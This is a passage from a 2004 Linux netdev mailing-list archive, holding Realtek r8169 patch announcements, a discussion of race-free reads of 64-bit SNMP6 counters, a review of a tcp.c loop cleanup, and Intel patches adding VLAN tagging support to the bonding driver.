(8.12.8/8.12.1) id i0MMlPnH010384; Thu, 22 Jan 2004 23:47:25 +0100 Date: Thu, 22 Jan 2004 23:47:25 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: dpollock@acm.org, damouse@ntlworld.com, brad@mainstreetsoftworks.com, kinetik@orcon.net.nz, harisri@bigpond.com, Mathias.Beilstein@t-online.de, jgarzik@pobox.com Subject: [update] 2.6.2-rc1 - Realtek 8169 patches Message-ID: <20040122234725.A8109@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 2680 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev An updated version of the r8169 patches against 2.6.2-rc1 is available. Individual files: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.2-rc1 Tarball: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.2-rc1/r8169-blob.tar.bz2 Readme: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.2-rc1/README.txt The first patch of the series probably wants to go directly to 2.6.x/2.4.x. Please Cc: netdev@oss.sgi.com on success/failure. -- Ueimor From kumarkr@us.ibm.com Thu Jan 22 14:57:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 14:57:26 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MMv97J003841 for ; Thu, 22 Jan 2004 14:57:12 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0MMtj6t252650; Thu, 22 Jan 2004 17:55:55 -0500 Received: from d03nm801.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0MMtYHB120156; Thu, 22 Jan 2004 15:55:35 -0700 Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, Shirley Ma X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Krishna Kumar Date: Thu, 22 Jan 2004 14:50:15 -0800 X-MIMETrack: Serialize by Router on D03NM801/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/22/2004 15:55:34 MIME-Version: 1.0 Content-type: multipart/related; Boundary="0__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A" X-archive-position: 2681 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kumarkr@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A Content-type: multipart/alternative; Boundary="1__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A" --1__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A Content-type: text/plain; charset=US-ASCII Dave, Isn't memory barrier used to stop re-ordering of instructions and needs to be present in both reader as well as writer to have synchronization since mb is for the CPU on which it is executing ? In this case : suppose stat is getting incremented from 00000000 FFFFFFFF to 00000001 00000000, and stat was read after the low word was incremented to 0 (with overflow set), then low1 = 0 and low2 can get executed before the low2 is incremented on the other processor, so low2 is still zero. We return zero, when the value should be 4G. That why I felt that we need to read second after making sure the writer is over, that doesn't assume that writer is faster than reader and works in all cases. Am I wrong here ? thanks, - KK |---------+----------------------------> | | "David S. Miller"| | | | | | Sent by: | | | netdev-bounce@oss| | | .sgi.com | | | | | | | | | 01/22/2004 02:10 | | | PM | | | | |---------+----------------------------> >-----------------------------------------------------------------------------------------------------------------| | | | To: Krishna Kumar/Beaverton/IBM@IBMUS | | cc: kuznet@ms2.inr.ac.ru, mashirle@us.ltcfwd.linux.ibm.com, netdev@oss.sgi.com, | | netdev-bounce@oss.sgi.com, Shirley Ma/Beaverton/IBM@IBMUS | | Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c | | | >-----------------------------------------------------------------------------------------------------------------| The most portable and simple algorithm to solve this on the reader side is (and I recommend we don't special case this on 64-bit platforms just to get wider testing): u32 high, low1, low2; do { low1 = stat & 0xffffffff; rmb(); high = stat >> 32; rmb(); low2 = stat & 0xffffffff; } while (low2 < low1); Something like that. The idea is to sample the lower 32-bit twice and if it overflows resample both high and low halfs. --1__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Dave,

Isn't memory barrier used to stop re-ordering of instructions and needs to be present
in both reader as well as writer to have synchronization since mb is for the CPU on
which it is executing ? In this case : suppose stat is getting incremented from
00000000 FFFFFFFF to 00000001 00000000, and stat was read after the low word was
incremented to 0 (with overflow set), then low1 = 0 and low2 can get executed before the
low2 is incremented on the other processor, so low2 is still zero. We return zero, when
the value should be 4G. That why I felt that we need to read second after making sure
the writer is over, that doesn't assume that writer is faster than reader and works in all
cases.

Am I wrong here ?

thanks,

- KK

Inactive hide details for "David S. Miller" <davem@redhat.com>"David S. Miller" <davem@redhat.com>




          "David S. Miller" <davem@redhat.com>
          Sent by: netdev-bounce@oss.sgi.com

          01/22/2004 02:10 PM



To: Krishna Kumar/Beaverton/IBM@IBMUS
cc: kuznet@ms2.inr.ac.ru, mashirle@us.ltcfwd.linux.ibm.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, Shirley Ma/Beaverton/IBM@IBMUS
Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c



The most portable and simple algorithm to solve this on the reader
side is (and I recommend we don't special case this on 64-bit platforms
just to get wider testing):

u32 high, low1, low2;

do {
low1 = stat & 0xffffffff;
rmb();
high = stat >> 32;
rmb();
low2 = stat & 0xffffffff;
} while (low2 < low1);

Something like that. The idea is to sample the lower 32-bit twice
and if it overflows resample both high and low halfs.

 --1__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A-- --0__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A Content-type: image/gif; name="pic24167.gif" Content-Disposition: inline; filename="pic24167.gif" Content-ID: <10__=07BBE4B0DFEF038A8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhWABDALP/AAAAAK04Qf79/o+Gm7WuwlNObwoJFCsoSMDAwGFsmIuezf///wAAAAAAAAAA AAAAACH5BAEAAAgALAAAAABYAEMAQAT/EMlJq704682770RiFMRinqggEUNSHIchG0BCfHhOjAuh EDeUqTASLCbBhQrhG7xis2j0lssNDopE4jfIJhDaggI8YB1sZeZgLVA9YVCpnGagVjV171aRVrYR RghXcAGFhoUETwYxcXNyADJ3GlcSKGAwLwllVC1vjIUHBWsFilKQdI8GA5IcpApeJQt8L09lmgkH LZikoU5wjqcyAMMFrJIDPAKvCFletKSev1HBw8KrxtjZ2tvc3d5VyKtCKW3jfz4uMKmq3xu4N0nK BVoJQmx2LGVOmrqNjjJf2hHAQo/eDwJGTKhQMcgQEEAnEjFS98+RnW3smGkZU6ncCWav/4wYOnAI TihRL/4FEwbp28BXMMcoscQCVxlepL4IGDSCyJyVQOu0o7CjmLN50OZlqWmyFy5/6yBBuji0AxFR M00oQAqNIstqI6qKHUsWRAEAvagsmfUEAImyxgbmUpJk3IklNUtJOUAVLoUr1+wqDGTE4zk+T6FG uQb3SizBCwatiiUgCBN8vrz+zFjVyQ8FWkOlg4NQiZMB5QS8QO3mpOaKnL0Z2EKvNMSILEThKhCg zMKPVxYJh23qm9KNW7pArPynMqZDiErsTMqI+LRi3QAgkFUbXpuFKhSYZALd0O5RKa2z9EYKBbpb qxIKsjUPRgD7I2XYV6wyrOw92ykExP8NW4URhknC5dKGE4v4NENQj2jXjmfNgOZDaXb5glRmXQ33 YEWQYNcZFnrYcIQLNzyTFDQNkXIff0ExVlY4srziQk43inZgL4rwxxINMvpFFAz1KOODHiu+4aEw NEjFl5B3JIKWKF3k6I9bfUGp5ZZcdunll5IA4cuHvQQJ5gcsoCWOOUwgltIwAKRxJgbIkJAQZEq0 2YliZnpZZ4BH3CnYOXldOUOfQoYDqF1LFHbXCrO8xmRsfoXDXJ6ChjCAH3QlhJcT6VWE6FCkfCco CgrMFsROrIEX3o2whVjWDjoJccN3LdggSGXLCdLEgHr1lyU3O3QxhgohNKXJCWv8JQr/PDdaqd6w 2rj1inLiGeiCJoDspAoQlYE6QWLSECehcWIYxIQES6zhbn1iImTHEQyqJ4eIxJJoUBc+3CbBuwZE V5cJPPkIjFDdeEabQbd6WgICTxiiz0f5dBKquXF6k4senwEhYGnKEFJeGrxUZy8dB8gmAXI/sPvH ESfCwVt5hTgYiqQqtdRNHQIU1PJ33ZqmzgE90OwLaoJcnMop1WiMmgkPHQRIrwgFuNV90A3doNKT mrKIN07AnGcI9BQjhCBN4RfA1qIZnMqorJCogKfGQnxSCDilTVIA0yl5ciTovgLuBDKFUDE9aQcw 9SA+rjSNf9/M1gxrj6VwDTS0IUSElMzBfsj0NFXR2kwsV1A5IF1grLgLL/r1R40BZEnuBWgmQEyb jqRwSAt6bqMCOFkvKFN2GPPkUzIm/SCF8z8pVzpbjVnMsy0vOr1hw3SaSRUhpY09v0z0J1FnwzPl fmh+xl4WtR0zGu24I4KbMQm3lnVu2oNWxI9W/lcyzA+mCKF4DBikxb/+UWtOGRiFP8qEwAayIgIA Ow== --0__=07BBE4B0DFEF038A8f9e8a93df938690918c07BBE4B0DFEF038A-- From willy@w.ods.org Thu Jan 22 15:48:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 15:49:07 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MNmk7J007849 for ; Thu, 22 Jan 2004 15:48:47 -0800 Date: Fri, 23 Jan 2004 00:48:33 +0100 From: Willy Tarreau To: Eduard Roccatello Cc: Andrew Morton , Linus Torvalds , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] net/ipv4/tcp.c little cleanup Message-ID: <20040122234833.GL545@alpha.home.local> References: <200401222253.37426.lilo@roccatello.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200401222253.37426.lilo@roccatello.it> User-Agent: Mutt/1.4i X-archive-position: 2682 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Hi ! On Thu, Jan 22, 2004 at 10:53:37PM +0100, Eduard Roccatello wrote: > Hello, > i've done a little cleanup to net/ipv4/tcp.c > > I hope it is ok :-) I haven't looked at sysctl_max_syn_backlog type, but if it's unsigned, there's a risk of infinite loop for values above 2^31 on 32 bits machines, or 2^63 on 64 bits machine. This is because many processors leave the result undefined when you shift more bits that the word size. Often, only the lowest bits are used for the shift count, resulting in a modulo. Eg, on ia32, if sysctl_max_syn_backlog is >2^31, the test will never work, and when max_qlen_log becomes 32, it will give the same result as if it were 0. Another case is if sysctl_max_syn_backlog is above 2^30, and the shift returns a signed result, because 1<<31 will be negative, thus validating the test and maintain the loop. Note that this potential problem is also present in the code you replaced. Cheers, Willy > --- net/ipv4/tcp.c.orig 2004-01-22 22:49:38.000000000 +0100 > +++ net/ipv4/tcp.c 2004-01-22 22:42:38.000000000 +0100 > @@ -549,9 +549,9 @@ int tcp_listen_start(struct sock *sk) > return -ENOMEM; > > memset(lopt, 0, sizeof(struct tcp_listen_opt)); > - for (lopt->max_qlen_log = 6; ; lopt->max_qlen_log++) > - if ((1 << lopt->max_qlen_log) >= sysctl_max_syn_backlog) > - break; > + lopt->max_qlen_log = 6; > + while (sysctl_max_syn_backlog > (1 << lopt->max_qlen_log)) > + lopt->max_qlen_log++; > get_random_bytes(&lopt->hash_rnd, 4); > > write_lock_bh(&tp->syn_wait_lock); > From shmulik.hen@intel.com Thu Jan 22 16:16:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 16:16:38 -0800 (PST) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N0G97J009949 for ; Thu, 22 Jan 2004 16:16:09 -0800 Received: from talaria.jf.intel.com (talaria.jf.intel.com [10.7.209.7]) by hermes.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFxEpj006893; Thu, 22 Jan 2004 15:59:14 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by talaria.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFri2G031017; Thu, 22 Jan 2004 15:53:47 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207564513653 ; Thu, 22 Jan 2004 07:56:45 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 2/6][8021q][2.4] Export VLAN tag get/set functionality Date: Thu, 22 Jan 2004 17:56:41 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200401221756.43872.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2683 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Enable intermediate network drivers like bonding to get or set a VLAN tag in an skb without a need to know about how tagging is done according to a network adapter's capabilities. diff -Nuarp a/include/linux/if_vlan.h b/include/linux/if_vlan.h --- a/include/linux/if_vlan.h Wed Jan 21 16:54:57 2004 +++ b/include/linux/if_vlan.h Wed Jan 21 16:54:59 2004 @@ -200,6 +200,148 @@ static inline int vlan_hwaccel_receive_s { return __vlan_hwaccel_rx(skb, grp, vlan_tag, 1); } + +/** + * __vlan_put_tag - regular VLAN tag inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Inserts the VLAN tag into @skb as part of the payload + * Returns a VLAN tagged skb. If a new skb is created, @skb is freed. + * + * Following the skb_unshare() example, in case of error, the calling function + * doesn't have to worry about freeing the original skb. + */ +static inline struct sk_buff *__vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_ethhdr *veth; + + if (skb_headroom(skb) < VLAN_HLEN) { + struct sk_buff *sk_tmp = skb; + skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); + kfree_skb(sk_tmp); + if (!skb) { + printk(KERN_ERR "vlan: failed to realloc headroom\n"); + return NULL; + } + } else { + skb = skb_unshare(skb, GFP_ATOMIC); + if (!skb) { + printk(KERN_ERR "vlan: failed to unshare skbuff\n"); + return NULL; + } + } + + veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); + + /* Move the mac addresses to the beginning of the new header. */ + memmove(skb->data, skb->data + VLAN_HLEN, 2 * VLAN_ETH_ALEN); + + /* first, the ethernet type */ + veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); + + /* now, the tag */ + veth->h_vlan_TCI = htons(tag); + + return skb; +} + +/** + * __vlan_hwaccel_put_tag - hardware accelerated VLAN inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Puts the VLAN tag in @skb->cb[] and lets the device do the rest + */ +static inline struct sk_buff *__vlan_hwaccel_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + cookie->magic = VLAN_TX_COOKIE_MAGIC; + cookie->vlan_tag = tag; + + return skb; +} + +#define HAVE_VLAN_PUT_TAG + +/** + * vlan_put_tag - inserts VLAN tag according to device features + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Assumes skb->dev is the target that will xmit this frame. + * Returns a VLAN tagged skb. + */ +static inline struct sk_buff *vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_put_tag(skb, tag); + } else { + return __vlan_put_tag(skb, tag); + } +} + +/** + * __vlan_get_tag - get the VLAN ID that is part of the payload + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not of VLAN type + */ +static inline int __vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_ethhdr *veth = (struct vlan_ethhdr *)skb->data; + + if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + return -EINVAL; + } + + *tag = ntohs(veth->h_vlan_TCI); + + return 0; +} + +/** + * __vlan_hwaccel_get_tag - get the VLAN ID that is in @skb->cb[] + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if @skb->cb[] is not set correctly + */ +static inline int __vlan_hwaccel_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + if (cookie->magic == VLAN_TX_COOKIE_MAGIC) { + *tag = cookie->vlan_tag; + return 0; + } else { + *tag = 0; + return -EINVAL; + } +} + +#define HAVE_VLAN_GET_TAG + +/** + * vlan_get_tag - get the VLAN ID from the skb + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not VLAN tagged + */ +static inline int vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_get_tag(skb, tag); + } else { + return __vlan_get_tag(skb, tag); + } +} + #endif /* __KERNEL__ */ /* VLAN IOCTLs are found in sockios.h */ From shmulik.hen@intel.com Thu Jan 22 16:17:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 16:18:22 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N0Hw7J010204 for ; Thu, 22 Jan 2004 16:17:58 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFthcC025876; Thu, 22 Jan 2004 15:55:43 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFvVXE015803; Thu, 22 Jan 2004 15:57:40 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207580720061 ; Thu, 22 Jan 2004 07:58:08 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 4/6][bonding][2.4] Add support for HW accel. slaves Date: Thu, 22 Jan 2004 17:58:05 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221758.06726.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2685 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Change the bond interface to publish full VLAN hardware acceleration offloading capabilities, and add capability in all xmit functions to take special care for VLAN HW accel. tagged skb's that are going out through a slave that is not offloading capable. Add a mechanism to collect and save the VLAN Id's that have been added on top of a bond interface, and propagate the register/add/kill operations to the slaves. Add blocking mechanism to prevent adding VLAN interfaces on top of a bond that contains VLAN challenged slaves and to prevent adding VLAN challenged slaves to a bond that already has VLAN interfaces on top of it. diff -Nuarp a/Documentation/networking/bonding.txt b/Documentation/networking/bonding.txt --- a/Documentation/networking/bonding.txt Wed Jan 21 16:55:06 2004 +++ b/Documentation/networking/bonding.txt Wed Jan 21 16:55:08 2004 @@ -31,6 +31,7 @@ Verifying Bond Configuration Frequently Asked Questions High Availability Promiscuous Sniffing notes +8021q VLAN support Limitations Resources and Links @@ -140,10 +141,6 @@ probeall bond0 eth0 eth1 bonding Be careful not to reference bond0 itself at the end of the line, or modprobe will die in an endless recursive loop. -To have device characteristics (such as MTU size) propagate to slave devices, -set the bond characteristics before enslaving the device. The characteristics -are propagated during the enslave process. - If running SNMP agents, the bonding driver should be loaded before any network drivers participating in a bond. This requirement is due to the the interface index (ipAdEntIfIndex) being associated to the first interface found with a @@ -601,7 +598,7 @@ Frequently Asked Questions For ethernet cards not supporting MII status, the arp_interval and arp_ip_target parameters must be specified for bonding to work correctly. If packets have not been sent or received during the - specified arp_interval durration, an ARP request is sent to the + specified arp_interval duration, an ARP request is sent to the targets to generate send and receive traffic. If after this interval, either the successful send and/or receive count has not incremented, the next slave in the sequence will become the active @@ -669,16 +666,8 @@ Frequently Asked Questions that will be added. To restore your slaves' MAC addresses, you need to detach them - from the bond (`ifenslave -d bond0 eth0'), set them down - (`ifconfig eth0 down'), unload the drivers (`rmmod 3c59x', for - example) and reload them to get the MAC addresses from their - eeproms. If the driver is shared by several devices, you need - to turn them all down. Another solution is to look for the MAC - address at boot time (dmesg or tail /var/log/messages) and to - reset it by hand with ifconfig : - - # ifconfig eth0 down - # ifconfig eth0 hw ether 00:20:40:60:80:A0 + from the bond (`ifenslave -d bond0 eth0'). The bonding driver will then + restore the MAC addresses that the slaves had before they were enslaved. 9. Which transmit polices can be used? @@ -843,7 +832,7 @@ point of failure" solution. In this configuration, there is an ISL - Inter Switch Link (could be a trunk), several servers (host1, host2 ...) attached to both switches each, and one or -more ports to the outside world (port3...). One an only one slave on each host +more ports to the outside world (port3...). One and only one slave on each host is active at a time, while all links are still monitored (the system can detect a failure of active and backup links). @@ -933,6 +922,41 @@ capacity aggregating; but it works fine just ignore all the warnings it emits. +8021q VLAN support +================== + +It is possible to configure VLAN devices over a bond interface using the 8021q +driver. However, only packets coming from the 8021q driver and passing through +bonding will be tagged by default. Self generated packets, like bonding's +learning packets or ARP packets generated by either ALB mode or the ARP +monitor mechanism, are tagged internally by bonding itself. As a result, +bonding has to "learn" what VLAN IDs are configured on top of it, and it uses +those IDs to tag self generated packets. + +For simplicity reasons, and to support the use of adapters that can do VLAN +hardware acceleration offloding, the bonding interface declares itself as +fully hardware offloaing capable, it gets the add_vid/kill_vid notifications +to gather the necessary information, and it propagates those actions to the +slaves. +In case of mixed adapter types, hardware accelerated tagged packets that should +go through an adapter that is not offloading capable are "un-accelerated" by the +bonding driver so the VLAN tag sits in the regular location. + +VLAN interfaces *must* be added on top of a bonding interface only after +enslaving at least one slave. This is because until the first slave is added the +bonding interface has a HW address of 00:00:00:00:00:00, which will be copied by +the VLAN interface when it is created. + +Notice that a problem would occur if all slaves are released from a bond that +still has VLAN interfaces on top of it. When later coming to add new slaves, the +bonding interface would get a HW address from the first slave, which might not +match that of the VLAN interfaces. It is recommended that either all VLANs are +removed and then re-added, or to manually set the bonding interface's HW +address so it matches the VLAN's. (Note: changing a VLAN interface's HW address +would set the underlying device -- i.e. the bonding interface -- to promiscouos +mode, which might not be what you want). + + Limitations =========== The main limitations are : diff -Nuarp a/drivers/net/bonding/bond_3ad.c b/drivers/net/bonding/bond_3ad.c --- a/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:55:08 2004 @@ -2362,6 +2362,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk int agg_id; int i; struct ad_info ad_info; + int res = 1; /* make sure that the slaves list will * not change during tx @@ -2369,12 +2370,12 @@ int bond_3ad_xmit_xor(struct sk_buff *sk read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond_3ad_get_active_agg_info(bond, &ad_info)) { printk(KERN_DEBUG "ERROR: bond_3ad_get_active_agg_info failed\n"); - goto free_out; + goto out; } slaves_in_agg = ad_info.ports; @@ -2383,7 +2384,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slaves_in_agg == 0) { /*the aggregator is empty*/ printk(KERN_DEBUG "ERROR: active aggregator is empty\n"); - goto free_out; + goto out; } slave_agg_no = (data->h_dest[5]^bond->dev->dev_addr[5]) % slaves_in_agg; @@ -2401,7 +2402,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slave_agg_no >= 0) { printk(KERN_ERR DRV_NAME ": Error: Couldn't find a slave to tx on for aggregator ID %d\n", agg_id); - goto free_out; + goto out; } start_at = slave; @@ -2414,24 +2415,19 @@ int bond_3ad_xmit_xor(struct sk_buff *sk slave_agg_id = agg->aggregator_identifier; } - if (SLAVE_IS_OK(slave) && - agg && (slave_agg_id == agg_id)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + if (SLAVE_IS_OK(slave) && agg && (slave_agg_id == agg_id)) { + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } int bond_3ad_lacpdu_recv(struct sk_buff *skb, struct net_device *dev, struct packet_type* ptype) diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:08 2004 @@ -1194,6 +1194,7 @@ int bond_alb_xmit(struct sk_buff *skb, s int do_tx_balance = 1; u32 hash_index = 0; u8 *hash_start = NULL; + int res = 1; /* make sure that the curr_active_slave and the slaves list do * not change during tx @@ -1202,7 +1203,7 @@ int bond_alb_xmit(struct sk_buff *skb, s read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } switch (ntohs(skb->protocol)) { @@ -1267,29 +1268,27 @@ int bond_alb_xmit(struct sk_buff *skb, s } if (tx_slave && SLAVE_IS_OK(tx_slave)) { - skb->dev = tx_slave->dev; if (tx_slave != bond->curr_active_slave) { memcpy(eth_data->h_source, tx_slave->dev->dev_addr, ETH_ALEN); } - dev_queue_xmit(skb); + + res = bond_dev_queue_xmit(bond, skb, tx_slave->dev); } else { - /* no suitable interface, frame not sent */ if (tx_slave) { tlb_clear_slave(bond, tx_slave, 0); } - goto free_out; } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - dev_kfree_skb(skb); - goto out; } void bond_alb_monitor(struct bonding *bond) diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:08 2004 @@ -502,6 +502,7 @@ #include #include #include +#include #include #include "bonding.h" #include "bond_3ad.h" @@ -620,6 +621,330 @@ static const char *bond_mode_name(int mo } } +/*---------------------------------- VLAN -----------------------------------*/ + +/** + * bond_add_vlan - add a new vlan id on bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to add + * + * Returns -ENOMEM if allocation failed. + */ +static int bond_add_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan; + + dprintk("bond: %s, vlan id %d\n", + (bond ? bond->dev->name: "None"), vlan_id); + + vlan = kmalloc(sizeof(struct vlan_entry), GFP_KERNEL); + if (!vlan) { + return -ENOMEM; + } + + INIT_LIST_HEAD(&vlan->vlan_list); + vlan->vlan_id = vlan_id; + + write_lock_bh(&bond->lock); + + list_add_tail(&vlan->vlan_list, &bond->vlan_list); + + write_unlock_bh(&bond->lock); + + dprintk("added VLAN ID %d on bond %s\n", vlan_id, bond->dev->name); + + return 0; +} + +/** + * bond_del_vlan - delete a vlan id from bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to delete + * + * returns -ENODEV if @vlan_id was not found in @bond. + */ +static int bond_del_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan, *next; + int res = -ENODEV; + + dprintk("bond: %s, vlan id %d\n", bond->dev->name, vlan_id); + + write_lock_bh(&bond->lock); + + list_for_each_entry_safe(vlan, next, &bond->vlan_list, vlan_list) { + if (vlan->vlan_id == vlan_id) { + list_del(&vlan->vlan_list); + + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, + bond->dev->name); + + kfree(vlan); + + if (list_empty(&bond->vlan_list) && + (bond->slave_cnt == 0)) { + /* Last VLAN removed and no slaves, so + * restore block on adding VLANs. This will + * be removed once new slaves that are not + * VLAN challenged will be added. + */ + bond->dev->features |= NETIF_F_VLAN_CHALLENGED; + } + + res = 0; + goto out; + } + } + + dprintk("couldn't find VLAN ID %d in 